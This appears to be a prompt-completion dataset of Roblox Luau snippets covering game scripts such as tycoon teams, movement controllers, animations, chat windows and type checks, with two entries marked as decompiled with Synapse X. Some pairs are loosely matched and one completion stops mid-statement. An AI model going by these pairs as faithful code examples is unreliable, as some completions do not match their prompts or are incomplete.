prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
-- Decompiled with the Synapse X Luau decompiler.
game["Run Service"].RenderStepped:Connect(function() script.Parent.Position = UDim2.fromScale(1 + math.random(-5, 5) / 100, 0.5 + math.random(-100, 100) / 100); end);
--[[** DEPRECATED Please use t.literal **--]]
t.exactly = t.literal
--[=[ @within Shake @prop FadeOutTime number How long it takes for the shake to fade out, measured in seconds. Defaults to `1`. ]=]
--run this first so if there is a 'white' team it is switched over
if not Settings['AutoAssignTeams'] then local teamHire = Instance.new('Team', Teams) teamHire.TeamColor = BC.new('White') teamHire.Name = "For Hire" end for i,v in pairs(script.Parent:WaitForChild('Tycoons'):GetChildren()) do Tycoons[v.Name] = v:Clone() -- Store the tycoons then make teams depending on the tycoon names if returnColorTaken(v.TeamColor) then --//Handle duplicate team colors local newColor; repeat wait() newColor = BC.Random() until returnColorTaken(newColor) == false v.TeamColor.Value = newColor end --Now that there are for sure no duplicates, make your teams local NewTeam = Instance.new('Team',Teams) NewTeam.Name = v.Name NewTeam.TeamColor = v.TeamColor.Value if not Settings['AutoAssignTeams'] then NewTeam.AutoAssignable = false end --v.PurchaseHandler.Disabled = false end function getPlrTycoon(player) for i,v in pairs(script.Parent.Tycoons:GetChildren()) do if v:IsA("Model") then if v.Owner.Value == player then return v end end end return nil end game.Players.PlayerAdded:connect(function(player) local plrStats = Instance.new("NumberValue",game.ServerStorage.PlayerMoney) plrStats.Name = player.Name local isOwner = Instance.new("ObjectValue",plrStats) isOwner.Name = "OwnsTycoon" end) game.Players.PlayerRemoving:connect(function(player) wait(2) local plrStats = game.ServerStorage.PlayerMoney:FindFirstChild(player.Name) if plrStats ~= nil then plrStats:Destroy() end local tycoon = getPlrTycoon(player) if tycoon then local backup = Tycoons[tycoon.Name]:Clone() tycoon:Destroy() wait() backup.Parent=script.Parent.Tycoons end end)
-- TODO: Only require itemId. Category can be looked up with getCategoryForItemId now that we assume itemIds are unique across categories
local function getItemByIdInCategory(itemId: string, category: ItemCategory.EnumType) local item local container = ContainerByCategory[category] assert(container, string.format("Attempt to get item with invalid category `%s`", category)) item = container:FindFirstChild(itemId) assert(item, string.format("Attempt to get item in category `%s` with invalid itemId `%s`", category, itemId)) return item :: Model end return getItemByIdInCategory
--[[ Initialization ]]
-- if not UserInputService.TouchEnabled then -- TODO: Remove when safe! initialize() if isShiftLockMode() then ContextActionService:BindActionToInputTypes("ToggleShiftLock", mouseLockSwitchFunc, false, Enum.KeyCode.LeftShift, Enum.KeyCode.RightShift) IsActionBound = true end end return ShiftLockController
--// G-Force Meter V1 by Itzt
local plr = game.Players.LocalPlayer repeat wait() until plr.Character
-- Adds numParts more parts to the cache.
function PartCacheStatic:Expand(numParts: number): () assert(getmetatable(self) == PartCacheStatic, ERR_NOT_INSTANCE:format("Expand", "PartCache.new")) if numParts == nil then numParts = self.ExpansionSize end for i = 1, numParts do table.insert(self.Open, MakeFromTemplate(self.Template, self.CurrentCacheParent)) end end
--A data-saving function. SetAsync takes ten seconds to run, --so the player will have to stay ten seconds after
function SaveData(Player) local Items = {} for i,Item in ipairs(Player.Backpack:GetChildren()) do if game.ServerStorage:FindFirstChild(Item.Name) ~= nil then if game.ServerStorage[Item.Name]:IsA("Tool") then table.insert(Items, Item.Name) end end end PlayersItems:SetAsync(Player.UserId, Items) end
-- Default options
Options = { DisallowLocked = false }
--Make sure this script is inside a body of a car that you want to be destructible. --Also this is mostly meant for cars which are made out of parts.
local Body = script.Parent local BreakSpeed = 30 for _,Part in ipairs(Body:GetDescendants()) do if Part:IsA("BasePart") then Part.Touched:Connect(function(hit) local velocity = Part.Velocity.Magnitude -- Get the speed of the car local collisionforce = GetImpactVelocity(Part,hit) local h = hit.Parent:findFirstChild("Humanoid") or hit.Parent.Parent:findFirstChild("Humanoid") if collisionforce > BreakSpeed and h == nil then Part:BreakJoints() Part.Massless = true Part.CanTouch = false -- you can make so that a sound plays, or an effect appears etc... game:GetService("Debris"):AddItem(Part,10) end end) end end function GetImpactVelocity(part, Other) --dont touch this local pVelocity = part.Velocity local oVelocity = Other.Velocity local pRoundedVelocity = Vector3.new(math.floor(pVelocity.X), math.floor(pVelocity.Y), math.floor(pVelocity.Z)) local oRoundedVelocity = Vector3.new(math.floor(oVelocity.X), math.floor(oVelocity.Y), math.floor(oVelocity.Z)) local impactForce = Vector3.new(pRoundedVelocity.X - oRoundedVelocity.X, pRoundedVelocity.Y - oRoundedVelocity.Y, pRoundedVelocity.Z - oRoundedVelocity.Z) impactForce = Vector3.new(math.abs(impactForce.X), math.abs(impactForce.Y), math.abs(impactForce.Z)) local speed = math.max(impactForce.X, impactForce.Y, impactForce.Z) return speed end
-- @Description Return a true copy of the table. -- @Arg1 Table
function Basic.CopyTable(Tbl) local Copy = {} for i,v in pairs(Tbl) do if type(v) == "table" then Copy[i] = Basic.CopyTable(v) else Copy[i] = v end end return Copy end
--[[** ensures value is a number where value > 0 @returns A function that will return true iff the condition is passed **--]]
t.numberPositive = t.numberMinExclusive(0)
-- if Input.KeyCode == Enum.KeyCode.Z then -- if Equipped and Holding.Value == "None" and not CS:HasTag(Char, "Z") and not CS:HasTag(Char, "Busy") then -- SkillsHandler:FireServer("Skill", "Hold", "Z") -- end -- end --end)
--[[ Returns first value (success), and packs all following values. ]]
local function packResult(success, ...) return success, select("#", ...), { ... } end local function makeErrorHandler(traceback) assert(traceback ~= nil, "No traceback") return function(err) -- If the error object is already a table, forward it directly. -- Should we extend the error here and add our own trace? if type(err) == "table" then return err end return Error.new({ error = err, kind = Error.Kind.ExecutionError, trace = debug.traceback(tostring(err), 2), context = "Promise created at:\n\n" .. traceback, }) end end
--------------------------------------------------------
local RegenTime = 1 --Change this to how long it takes the plane to regen local WaitTime = 0 --Change this to how much time you have to wait before you can regen another plane
--[[ The ClickToMove Controller Class ]]
-- local KeyboardController = require(script.Parent:WaitForChild("Keyboard")) local ClickToMove = setmetatable({}, KeyboardController) ClickToMove.__index = ClickToMove function ClickToMove.new(CONTROL_ACTION_PRIORITY) local self = setmetatable(KeyboardController.new(CONTROL_ACTION_PRIORITY), ClickToMove) self.fingerTouches = {} self.numUnsunkTouches = 0 -- PC simulation self.mouse1Down = tick() self.mouse1DownPos = Vector2.new() self.mouse2DownTime = tick() self.mouse2DownPos = Vector2.new() self.mouse2UpTime = tick() self.keyboardMoveVector = ZERO_VECTOR3 self.tapConn = nil self.inputBeganConn = nil self.inputChangedConn = nil self.inputEndedConn = nil self.humanoidDiedConn = nil self.characterChildAddedConn = nil self.onCharacterAddedConn = nil self.characterChildRemovedConn = nil self.renderSteppedConn = nil self.menuOpenedConnection = nil self.running = false self.wasdEnabled = false return self end function ClickToMove:DisconnectEvents() DisconnectEvent(self.tapConn) DisconnectEvent(self.inputBeganConn) DisconnectEvent(self.inputChangedConn) DisconnectEvent(self.inputEndedConn) DisconnectEvent(self.humanoidDiedConn) DisconnectEvent(self.characterChildAddedConn) DisconnectEvent(self.onCharacterAddedConn) DisconnectEvent(self.renderSteppedConn) DisconnectEvent(self.characterChildRemovedConn) DisconnectEvent(self.menuOpenedConnection) end function ClickToMove:OnTouchBegan(input, processed) if self.fingerTouches[input] == nil and not processed then self.numUnsunkTouches = self.numUnsunkTouches + 1 end self.fingerTouches[input] = processed end function ClickToMove:OnTouchChanged(input, processed) if self.fingerTouches[input] == nil then self.fingerTouches[input] = processed if not processed then self.numUnsunkTouches = self.numUnsunkTouches + 1 end end end function ClickToMove:OnTouchEnded(input, processed) if self.fingerTouches[input] ~= nil and self.fingerTouches[input] == false then self.numUnsunkTouches = self.numUnsunkTouches - 1 end self.fingerTouches[input] = nil end function ClickToMove:OnCharacterAdded(character) self:DisconnectEvents() self.inputBeganConn = UserInputService.InputBegan:Connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then self:OnTouchBegan(input, processed) end -- Cancel path when you use the keyboard controls if wasd is enabled. if self.wasdEnabled and processed == false and input.UserInputType == Enum.UserInputType.Keyboard and movementKeys[input.KeyCode] then CleanupPath() if FFlagUserClickToMoveFollowPathRefactor then ClickToMoveDisplay.CancelFailureAnimation() end end if input.UserInputType == Enum.UserInputType.MouseButton1 then self.mouse1DownTime = tick() self.mouse1DownPos = input.Position end if input.UserInputType == Enum.UserInputType.MouseButton2 then self.mouse2DownTime = tick() self.mouse2DownPos = input.Position end end) self.inputChangedConn = UserInputService.InputChanged:Connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then self:OnTouchChanged(input, processed) end end) self.inputEndedConn = UserInputService.InputEnded:Connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then self:OnTouchEnded(input, processed) end if input.UserInputType == Enum.UserInputType.MouseButton2 then self.mouse2UpTime = tick() local currPos = input.Position -- We allow click to move during path following or if there is no keyboard movement local allowed if FFlagUserClickToMoveFollowPathRefactor then allowed = ExistingPather or self.keyboardMoveVector.Magnitude <= 0 else allowed = self.moveVector.Magnitude <= 0 end if self.mouse2UpTime - self.mouse2DownTime < 0.25 and (currPos - self.mouse2DownPos).magnitude < 5 and allowed then local positions = {currPos} OnTap(positions) end end end) self.tapConn = UserInputService.TouchTap:Connect(function(touchPositions, processed) if not processed then OnTap(touchPositions, nil, true) end end) self.menuOpenedConnection = GuiService.MenuOpened:Connect(function() CleanupPath() end) local function OnCharacterChildAdded(child) if UserInputService.TouchEnabled then if child:IsA('Tool') then child.ManualActivationOnly = true end end if child:IsA('Humanoid') then DisconnectEvent(self.humanoidDiedConn) self.humanoidDiedConn = child.Died:Connect(function() if ExistingIndicator then DebrisService:AddItem(ExistingIndicator.Model, 1) end end) end end self.characterChildAddedConn = character.ChildAdded:Connect(function(child) OnCharacterChildAdded(child) end) self.characterChildRemovedConn = character.ChildRemoved:Connect(function(child) if UserInputService.TouchEnabled then if child:IsA('Tool') then child.ManualActivationOnly = false end end end) for _, child in pairs(character:GetChildren()) do OnCharacterChildAdded(child) end end function ClickToMove:Start() self:Enable(true) end function ClickToMove:Stop() self:Enable(false) end function ClickToMove:CleanupPath() CleanupPath() end function ClickToMove:Enable(enable, enableWASD, touchJumpController) if enable then if not self.running then if Player.Character then -- retro-listen self:OnCharacterAdded(Player.Character) end self.onCharacterAddedConn = Player.CharacterAdded:Connect(function(char) self:OnCharacterAdded(char) end) self.running = true end self.touchJumpController = touchJumpController if self.touchJumpController then self.touchJumpController:Enable(self.jumpEnabled) end else if self.running then self:DisconnectEvents() CleanupPath() -- Restore tool activation on shutdown if UserInputService.TouchEnabled then local character = Player.Character if character then for _, child in pairs(character:GetChildren()) do if child:IsA('Tool') then child.ManualActivationOnly = false end end end end self.running = false end if self.touchJumpController and not self.jumpEnabled then self.touchJumpController:Enable(true) end self.touchJumpController = nil end -- Extension for initializing Keyboard input as this class now derives from Keyboard if UserInputService.KeyboardEnabled and enable ~= self.enabled then self.forwardValue = 0 self.backwardValue = 0 self.leftValue = 0 self.rightValue = 0 self.moveVector = ZERO_VECTOR3 if enable then self:BindContextActions() self:ConnectFocusEventListeners() else self:UnbindContextActions() self:DisconnectFocusEventListeners() end end self.wasdEnabled = enable and enableWASD or false self.enabled = enable end function ClickToMove:OnRenderStepped(dt) if not FFlagUserClickToMoveFollowPathRefactor then return end -- Reset jump self.isJumping = false -- Handle Pather if ExistingPather then -- Let the Pather update ExistingPather:OnRenderStepped(dt) -- If we still have a Pather, set the resulting actions if ExistingPather then -- Setup move (NOT relative to camera) self.moveVector = ExistingPather.NextActionMoveDirection self.moveVectorIsCameraRelative = false -- Setup jump (but do NOT prevent the base Keayboard class from requesting jumps as well) if ExistingPather.NextActionJump then self.isJumping = true end else self.moveVector = self.keyboardMoveVector self.moveVectorIsCameraRelative = true end else self.moveVector = self.keyboardMoveVector self.moveVectorIsCameraRelative = true end -- Handle Keyboard's jump if self.jumpRequested then self.isJumping = true end end
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; local l__HDAdminMain__2 = _G.HDAdminMain; l__HDAdminMain__2.chatting = false; l__HDAdminMain__2.userInputService.TextBoxFocused:connect(function() l__HDAdminMain__2.chatting = true; end); l__HDAdminMain__2.userInputService.TextBoxFocusReleased:connect(function() l__HDAdminMain__2.chatting = false; end); local u1 = nil; local u2 = nil; local u3 = Enum.UserInputType.MouseButton1; local l__Enum_UserInputType_Touch__4 = Enum.UserInputType.Touch; local u5 = nil; function v1.MakeFrameDraggable(p1, p2) p2.DragBar.Drag.InputBegan:Connect(function(p3) if p3.UserInputType == u3 or p3.UserInputType == l__Enum_UserInputType_Touch__4 then u5 = p2; u1 = p3.Position; u2 = p2.Position; p3.Changed:Connect(function() if p3.UserInputState == Enum.UserInputState.End then u5 = nil; end; end); end; end); end; for v3, v4 in pairs({ l__HDAdminMain__2.gui.MainFrame }) do v1:MakeFrameDraggable(v4); end; local u6 = { "laserEyes" }; local u7 = Enum.UserInputType.MouseMovement; local function u8(p4, p5) local v5 = p4.Position - u1; p5.Position = UDim2.new(u2.X.Scale, u2.X.Offset + v5.X, u2.Y.Scale, u2.Y.Offset + v5.Y); if p5.AbsolutePosition.Y < 0 then p5.Position = p5.Position + UDim2.new(0, 0, 0, -p5.AbsolutePosition.Y); end; end; local function u9(p6) l__HDAdminMain__2.lastHitPosition = p6; for v6, v7 in pairs(u6) do l__HDAdminMain__2:GetModule("cf"):ActivateClientCommand(v7); end; end; l__HDAdminMain__2.userInputService.InputChanged:Connect(function(p7, p8) if (p7.UserInputType == u7 or p7.UserInputType == l__Enum_UserInputType_Touch__4) and ((not p8 or u5) and l__HDAdminMain__2.mouseDown) and ((l__HDAdminMain__2.lastHitPosition - p7.Position).magnitude < 150 or l__HDAdminMain__2.device ~= "Mobile") then if u5 then u8(p7, u5); end; u9(p7.Position); end; end); local l__CmdBar__8 = l__HDAdminMain__2.gui.CmdBar; l__HDAdminMain__2.movementKeysPressed = {}; local l__TextBox__10 = l__CmdBar__8.SearchFrame.TextBox; local u11 = { [Enum.KeyCode.Left] = "Left", [Enum.KeyCode.Right] = "Right", [Enum.KeyCode.Up] = "Forwards", [Enum.KeyCode.Down] = "Backwards", [Enum.KeyCode.A] = "Left", [Enum.KeyCode.D] = "Right", [Enum.KeyCode.W] = "Forwards", [Enum.KeyCode.S] = "Backwards", [Enum.KeyCode.Space] = "Up", [Enum.KeyCode.R] = "Up", [Enum.KeyCode.Q] = "Down", [Enum.KeyCode.LeftControl] = "Down", [Enum.KeyCode.F] = "Down" }; local u12 = { [Enum.KeyCode.Left] = true, [Enum.KeyCode.Right] = true, [Enum.KeyCode.Up] = true, [Enum.KeyCode.Down] = true }; l__HDAdminMain__2.userInputService.InputBegan:Connect(function(p9, p10) if (p9.UserInputType == u3 or p9.UserInputType == l__Enum_UserInputType_Touch__4) and ((not p10 or u5) and not l__HDAdminMain__2.mouseDown) then l__HDAdminMain__2.mouseDown = true; u9(p9.Position); elseif not l__HDAdminMain__2.chatting or l__CmdBar__8.Visible and #l__TextBox__10.Text < 2 then local v9 = u11[p9.KeyCode]; if v9 then table.insert(l__HDAdminMain__2.movementKeysPressed, v9); elseif p9.KeyCode == Enum.KeyCode.E then for v10, v11 in pairs(l__HDAdminMain__2.commandSpeeds) do if l__HDAdminMain__2.commandsActive[v10] then l__HDAdminMain__2:GetModule("cf"):EndCommand(v10); else l__HDAdminMain__2:GetModule("cf"):ActivateClientCommand(v10); end; end; elseif p9.KeyCode == Enum.KeyCode.Quote or p9.KeyCode == Enum.KeyCode.Semicolon then l__HDAdminMain__2:GetModule("CmdBar"):ToggleBar(p9.KeyCode); end; end; if u12[p9.KeyCode] then l__HDAdminMain__2:GetModule("CmdBar"):PressedArrowKey(p9.KeyCode); end; end); l__HDAdminMain__2.userInputService.InputEnded:Connect(function(p11, p12) local v12 = u11[p11.KeyCode]; if p11.UserInputType == u3 or p11.UserInputType == l__Enum_UserInputType_Touch__4 then l__HDAdminMain__2.mouseDown = false; return; end; if v12 then for v13, v14 in pairs(l__HDAdminMain__2.movementKeysPressed) do if v14 == v12 then table.remove(l__HDAdminMain__2.movementKeysPressed, v13); end; end; end; end); local l__Humanoid__15 = (l__HDAdminMain__2.player.Character or l__HDAdminMain__2.player.CharacterAdded:Wait()):WaitForChild("Humanoid"); local v16 = l__HDAdminMain__2:GetModule("Events"); if l__HDAdminMain__2.device ~= "Computer" then v16:New("DoubleJumped", l__Humanoid__15).Event:Connect(function() for v17, v18 in pairs(l__HDAdminMain__2.commandSpeeds) do if l__HDAdminMain__2.commandsActive[v17] then l__HDAdminMain__2:GetModule("cf"):EndCommand(v17); else l__HDAdminMain__2:GetModule("cf"):ActivateClientCommand(v17); end; end; end); end; return v1;
--print("Shot")
parts = script.Parent; ignoreList = {script.Parent} dealingDamage = 6000 makeRays = false
------ VARIABLES ------
local folder = script.Parent local padIsOneDirectional = folder:WaitForChild("OneWay") local pad1 = folder:WaitForChild("Pad1") local pad2 = folder:WaitForChild("Pad2") local bounce = true
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onRunning(speed) if speed>0.01 then playAnimation("walk", 0.1, Humanoid) if currentAnimInstance and currentAnimInstance.AnimationId == "http://www.roblox.com/asset/?id=180426354" then setAnimationSpeed(speed / 14.5) end pose = "Running" else if emoteNames[currentAnim] == nil then playAnimation("idle", 0.1, Humanoid) pose = "Standing" end end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing(speed) playAnimation("climb", 0.1, Humanoid) setAnimationSpeed(speed / 12.0) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function onSwimming(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid.className == "Tool" then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end function animateTool() if (toolAnim == "None") then playToolAnimation("toolnone", toolTransitionTime, Humanoid) return end if (toolAnim == "Slash") then playToolAnimation("toolslash", 0, Humanoid) return end if (toolAnim == "Lunge") then playToolAnimation("toollunge", 0, Humanoid) return end end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder:SetDesiredAngle(3.14 /2) LeftShoulder:SetDesiredAngle(-3.14 /2) RightHip:SetDesiredAngle(3.14 /2) LeftHip:SetDesiredAngle(-3.14 /2) end local lastTick = 0 function move(time) local amplitude = 1 local frequency = 1 local deltaTime = time - lastTick lastTick = time local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then playAnimation("sit", 0.5, Humanoid) return elseif (pose == "Running") then playAnimation("walk", 0.1, Humanoid) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
--[[local Buttons = {EquipButton,CraftButton,RecycleButton}; local function ChangeAction(Button,CustomTime) CurrentAction = Button.Name; for _,B in pairs(Buttons) do B.Style = (B==Button and Enum.ButtonStyle.RobloxRoundDefaultButton) or Enum.ButtonStyle.RobloxRoundButton; end; if Button.Name ~= "Equip" then for _,F in pairs(ActionContainer:GetChildren()) do F.Visible = (F.Name==Button.Name); end; end; for Frame,Data in pairs(Sizes) do Frame:TweenSizeAndPosition( Data[Button].Size, Data[Button].Position, Direction,Style,((tonumber(CustomTime)~=nil and CustomTime) or Time) ); end end for _,Button in pairs(Buttons) do Button.MouseButton1Click:connect(function() ChangeAction(Button); end) end]]
--[[ Grabs devProduct info - cleaner alternative to GetProductInfo. Caches and may potentially yield. Functions.GetProductInfo( id, <-- |REQ| ID of devProduct. (w/o link) ) --]]
return function(id) --- Check cache if cachedProductInfo[id] == nil then --- Get product info local productInfo = _L.Services.MarketplaceService:GetProductInfo(id, Enum.InfoType.Product) --- Update cache if productInfo ~= nil then cachedProductInfo[id] = productInfo end -- return productInfo else --- Return cache return cachedProductInfo[id] end end
--// Aim|Zoom|Sensitivity Customization
ZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween AimZoom = 50; -- Default zoom AimSpeed = 0.23; UnaimSpeed = 0.23; CycleAimZoom = 30; -- Cycled zoom MouseSensitivity = 0.5; -- Number between 0.1 and 1 SensitivityIncrement = 0.05; -- No touchy
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 200
-- simple if statements, decides where the Tool will spawn -- depending on the generated number.
if BlockPosition == 1 then Block.CFrame = Pos1 end if BlockPosition == 2 then Block.CFrame = Pos2 end
--////////////////////////////// Methods --//////////////////////////////////////
local methods = {} methods.__index = methods local function CreateGuiObjects() local BaseFrame = Instance.new("Frame") BaseFrame.Selectable = false BaseFrame.Size = UDim2.new(1, 0, 1, 0) BaseFrame.BackgroundTransparency = 1 local Scroller = Instance.new("ScrollingFrame") Scroller.Selectable = ChatSettings.GamepadNavigationEnabled Scroller.Name = "Scroller" Scroller.BackgroundTransparency = 1 Scroller.BorderSizePixel = 0 Scroller.Position = UDim2.new(0, 0, 0, 3) Scroller.Size = UDim2.new(1, -4, 1, -6) Scroller.CanvasSize = UDim2.new(0, 0, 0, 0) Scroller.ScrollBarThickness = module.ScrollBarThickness Scroller.Active = false Scroller.Parent = BaseFrame return BaseFrame, Scroller end function methods:Destroy() self.GuiObject:Destroy() self.Destroyed = true end function methods:SetActive(active) self.GuiObject.Visible = active end function methods:UpdateMessageFiltered(messageData) local messageObject = nil local searchIndex = 1 local searchTable = self.MessageObjectLog while (#searchTable >= searchIndex) do local obj = searchTable[searchIndex] if (obj.ID == messageData.ID) then messageObject = obj break end searchIndex = searchIndex + 1 end if (messageObject) then messageObject.UpdateTextFunction(messageData) self:ReorderAllMessages() end end function methods:AddMessage(messageData) self:WaitUntilParentedCorrectly() local messageObject = MessageLabelCreator:CreateMessageLabel(messageData, self.CurrentChannelName) if messageObject == nil then return end table.insert(self.MessageObjectLog, messageObject) self:PositionMessageLabelInWindow(messageObject) end function methods:AddMessageAtIndex(messageData, index) local messageObject = MessageLabelCreator:CreateMessageLabel(messageData, self.CurrentChannelName) if messageObject == nil then return end table.insert(self.MessageObjectLog, index, messageObject) local wasScrolledToBottom = self:IsScrolledDown() self:ReorderAllMessages() if wasScrolledToBottom then self.Scroller.CanvasPosition = Vector2.new(0, math.max(0, self.Scroller.CanvasSize.Y.Offset - self.Scroller.AbsoluteSize.Y)) end end function methods:RemoveLastMessage() self:WaitUntilParentedCorrectly() local lastMessage = self.MessageObjectLog[1] local posOffset = UDim2.new(0, 0, 0, lastMessage.BaseFrame.AbsoluteSize.Y) lastMessage:Destroy() table.remove(self.MessageObjectLog, 1) for i, messageObject in pairs(self.MessageObjectLog) do messageObject.BaseFrame.Position = messageObject.BaseFrame.Position - posOffset end self.Scroller.CanvasSize = self.Scroller.CanvasSize - posOffset end function methods:IsScrolledDown() local yCanvasSize = self.Scroller.CanvasSize.Y.Offset local yContainerSize = self.Scroller.AbsoluteWindowSize.Y local yScrolledPosition = self.Scroller.CanvasPosition.Y return (yCanvasSize < yContainerSize or yCanvasSize - yScrolledPosition <= yContainerSize + 5) end function min(x, y) return x < y and x or y end function methods:PositionMessageLabelInWindow(messageObject) self:WaitUntilParentedCorrectly() local baseFrame = messageObject.BaseFrame baseFrame.Parent = self.Scroller baseFrame.Position = UDim2.new(0, 0, 0, self.Scroller.CanvasSize.Y.Offset) baseFrame.Size = UDim2.new(1, 0, 0, messageObject.GetHeightFunction(self.Scroller.AbsoluteSize.X)) if messageObject.BaseMessage then local trySize = self.Scroller.AbsoluteSize.X local minTrySize = min(self.Scroller.AbsoluteSize.X - 10, 0) while not messageObject.BaseMessage.TextFits do trySize = trySize - 1 if trySize < minTrySize then break end baseFrame.Size = UDim2.new(1, 0, 0, messageObject.GetHeightFunction(trySize)) end end local isScrolledDown = self:IsScrolledDown() local add = UDim2.new(0, 0, 0, baseFrame.Size.Y.Offset) self.Scroller.CanvasSize = self.Scroller.CanvasSize + add if isScrolledDown then self.Scroller.CanvasPosition = Vector2.new(0, math.max(0, self.Scroller.CanvasSize.Y.Offset - self.Scroller.AbsoluteSize.Y)) end end function methods:ReorderAllMessages() self:WaitUntilParentedCorrectly() --// Reordering / reparenting with a size less than 1 causes weird glitches to happen with scrolling as repositioning happens. if (self.GuiObject.AbsoluteSize.Y < 1) then return end local oldCanvasPositon = self.Scroller.CanvasPosition local wasScrolledDown = self:IsScrolledDown() self.Scroller.CanvasSize = UDim2.new(0, 0, 0, 0) for i, messageObject in pairs(self.MessageObjectLog) do self:PositionMessageLabelInWindow(messageObject) end if not wasScrolledDown then self.Scroller.CanvasPosition = oldCanvasPositon end end function methods:Clear() for i, v in pairs(self.MessageObjectLog) do v:Destroy() end self.MessageObjectLog = {} self.Scroller.CanvasSize = UDim2.new(0, 0, 0, 0) end function methods:SetCurrentChannelName(name) self.CurrentChannelName = name end function methods:FadeOutBackground(duration) --// Do nothing end function methods:FadeInBackground(duration) --// Do nothing end function methods:FadeOutText(duration) for i = 1, #self.MessageObjectLog do if self.MessageObjectLog[i].FadeOutFunction then self.MessageObjectLog[i].FadeOutFunction(duration, CurveUtil) end end end function methods:FadeInText(duration) for i = 1, #self.MessageObjectLog do if self.MessageObjectLog[i].FadeInFunction then self.MessageObjectLog[i].FadeInFunction(duration, CurveUtil) end end end function methods:Update(dtScale) for i = 1, #self.MessageObjectLog do if self.MessageObjectLog[i].UpdateAnimFunction then self.MessageObjectLog[i].UpdateAnimFunction(dtScale, CurveUtil) end end end
--[[ Called by expectation terminators to reset modifiers in a statement. This makes chains like: expect(5) .never.to.equal(6) .to.equal(5) Work as expected. ]]
function Expectation:_resetModifiers() self.successCondition = true end
-- Debug / Test ray visual options
local DEFAULT_DEBUGGER_RAY_DURATION: number = 0.25
--- FILE: Utilities.lua --- DIRECTORY: ReplicatedStorage.SharedModules --- PURPOSE: General purpose utilities for my games --- AUTHOR: Nocticide
--[[** ensures Roblox Rect type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.Rect = primitive("Rect")
--local soundCoroutine = coroutine.wrap(function() --while wait(math.random(5,10)) do --root.Hiss.Pitch = root.Hiss.OriginalPitch.Value+(math.random(-10,10)/100) --root.Hiss:Play() --end --end) --soundCoroutine()
health.Changed:connect(function() root.Hurt.Pitch = root.Hurt.OriginalPitch.Value+(math.random(-100,100)/100) root.Hurt:Play() end)
-- main program
local runService = game:GetService("RunService")
-- [Head, Torso, HumanoidRootPart], "Torso" and "UpperTorso" works with both R6 and R15. -- Also make sure to not misspell it.
local PartToLookAt = "Torso" -- What should the npc look at. If player doesn't has the specific part it'll looks for RootPart instead. local LookBackOnNil = true -- Should the npc look at back straight when player is out of range. local SearchLoc = {workspace} -- Will get player from these locations
-- Variable for RemoteEvent
Players.PlayerAdded:Connect(function(player: Player) local leaderstats = player:FindFirstChild("leaderstats") player.CharacterAdded:Connect(function(character) local humanoid = character:WaitForChild("Humanoid") humanoid.Died:Connect(function() if humanoid:FindFirstChild("creator") then local killer = humanoid:FindFirstChild("creator").Value local killerHumanoid = Utilities:GetHumanoid(killer) killerHumanoid.Health += 25 killer.leaderstats.Kills.Value += 1 if Utilities:OwnsGamepass(player, Configurations.GamePassIds["Double Cash"]) then killer.leaderstats.Cash.Value += 10 else killer.leaderstats.Cash.Value += 5 end end end) end) end)
-- Finds a random position inside of the given part and returns a randomly rotated CFrame at that position
local function getRandomCFrameInVolume(partVolume) -- Calculate the position component of the random CFrame local x = randomGenerator:NextInteger(-partVolume.Size.X/2, partVolume.Size.X/2) local y = randomGenerator:NextInteger(-partVolume.Size.Y/2, partVolume.Size.Y/2) local z = randomGenerator:NextInteger(-partVolume.Size.Z/2, partVolume.Size.Z/2) local localOffset = Vector3.new(x, y, z) local worldOffset = partVolume.CFrame:pointToWorldSpace(localOffset) -- Calculate the rotation component of the random CFrame local twoPi = math.pi * 2 local xRotation = randomGenerator:NextNumber() * twoPi local yRotation = randomGenerator:NextNumber() * twoPi local zRotation = randomGenerator:NextNumber() * twoPi local CFrame = CFrame.Angles(xRotation, yRotation, zRotation) -- Add the position and rotation together to get the full random CFrame CFrame = CFrame + worldOffset return CFrame end
-- Define the maximum walk speed and acceleration
local MAX_WALK_SPEED = 100 local ACCELERATION = 10
-- Check if the player is walking
local check_movement = function() if humanoid.WalkSpeed > 0 and humanoid.MoveDirection.Magnitude > 0 and humanoid.FloorMaterial ~= Enum.Material.Air then return true elseif humanoid.WalkSpeed <= 0 or humanoid.MoveDirection.Magnitude <= 0 or humanoid.FloorMaterial == Enum.Material.Air then return false end end
--// Commands --// Highly recommended you disable Intellesense before editing this...
